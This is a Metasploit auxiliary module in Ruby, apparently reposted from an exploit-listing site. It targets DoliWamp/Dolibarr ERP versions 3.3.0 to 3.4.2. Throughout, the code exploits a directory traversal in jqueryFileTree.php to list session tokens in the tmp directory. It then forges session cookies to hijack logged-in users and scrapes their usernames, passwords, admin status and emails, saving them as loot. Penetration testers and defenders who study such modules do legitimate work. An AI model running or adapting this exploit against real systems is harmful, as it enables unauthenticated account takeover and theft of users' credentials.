Share
## https://sploitus.com/exploit?id=PACKETSTORM:180598
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials",  
'Description' => %q{  
This module will extract user credentials from DoliWamp - a WAMP  
packaged installer distribution for Dolibarr ERP on Windows - versions  
3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session  
tokens in filenames in the 'tmp' directory. A directory traversal  
vulnerability in 'jqueryFileTree.php' allows unauthenticated users  
to retrieve session tokens by listing the contents of this directory.  
Note: All tokens expire after 30 minutes of inactivity by default.  
},  
'License' => MSF_LICENSE,  
'Author' => 'bcoles',  
'References' =>  
[  
['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'],  
['URL', 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb']  
],  
'DisclosureDate' => '2014-01-12'))  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']),  
OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/'])  
])  
end  
  
#  
# Find session tokens  
#  
def get_session_tokens  
tokens = nil  
print_status("Finding session tokens...")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(  
target_uri.path,  
'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'),  
'cookie' => @cookie,  
'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] }  
})  
if !res  
print_error("Connection failed")  
elsif res.code == 404  
print_error("Could not find 'jqueryFileTree.php'")  
elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</  
tokens = res.body.scan(/>sess_([a-z0-9]+)</)  
num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }  
print_good("Found #{num_tokens} session tokens")  
else  
print_error("Could not find any session tokens")  
end  
return tokens  
end  
  
#  
# Get user's credentials  
#  
def get_user_info(user_id)  
vprint_status("Retrieving user's credentials")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),  
'cookie' => @cookie,  
'vars_get' => Hash[{  
'action' => 'edit',  
'id' => "#{user_id}"  
}.to_a.shuffle]  
})  
if !res  
print_error("Connection failed")  
elsif res.body =~ /User card/  
record = [  
res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first,  
res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first,  
res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first,  
res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first  
]  
unless record.empty?  
print_good("Found credentials (#{record[0]}:#{record[1]})")  
return record  
end  
else  
print_warning("Could not retrieve user credentials")  
end  
end  
  
#  
# Verify if session cookie is valid and return user's ID  
#  
def get_user_id  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),  
'cookie' => @cookie  
})  
if !res  
print_error("Connection failed")  
elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/  
user_id = "#{$1}"  
vprint_good("Hijacked session for user with ID '#{user_id}'")  
return user_id  
else  
vprint_status("Could not hijack session. Session is invalid.")  
end  
end  
  
#  
# Construct cookie using token  
#  
def create_cookie(token)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),  
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"  
})  
if !res  
print_error("Connection failed")  
elsif res.code == 200 and res.get_cookies =~ /DOLSESSID_([a-f0-9]{32})=/  
return "DOLSESSID_#{$1}=#{token}"  
else  
print_warning("Could not create session cookie")  
end  
end  
  
#  
# Show progress percentage  
# Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb  
#  
def progress(current, total)  
done = (current.to_f / total.to_f) * 100  
percent = "%3.2f%%" % done.to_f  
vprint_status("Trying to hijack a session - " +  
"%7s done (%d/%d tokens)" % [percent, current, total])  
end  
  
#  
# Check for session tokens in 'tmp'  
#  
def check  
get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def run  
return unless tokens = get_session_tokens  
credentials = []  
print_status("Trying to hijack a session...")  
tokens.flatten.each_with_index do |token, index|  
if @cookie = create_cookie(token) and user_id = get_user_id  
credentials << get_user_info(user_id)  
end  
progress(index + 1, tokens.size)  
end  
  
if credentials.empty?  
print_warning("No credentials collected.")  
return  
end  
cred_table = Rex::Text::Table.new(  
'Header' => 'Dolibarr User Credentials',  
'Indent' => 1,  
'Columns' => ['Username', 'Password', 'Admin', 'E-mail']  
)  
credentials.each do |record|  
report_cred(  
ip: rhost,  
port: rport,  
service_name: (ssl ? 'https' : 'http'),  
user: record[0],  
password: record[1],  
proof: @cookie  
)  
cred_table << [record[0], record[1], record[2], record[3]]  
end  
print_line  
print_line("#{cred_table}")  
loot_name = 'dolibarr.traversal.user.credentials'  
loot_type = 'text/csv'  
loot_filename = 'dolibarr_user_creds.csv'  
loot_desc = 'Dolibarr User Credentials'  
p = store_loot(  
loot_name,  
loot_type,  
rhost,  
cred_table.to_csv,  
loot_filename,  
loot_desc)  
print_status("Credentials saved in: #{p}")  
end  
end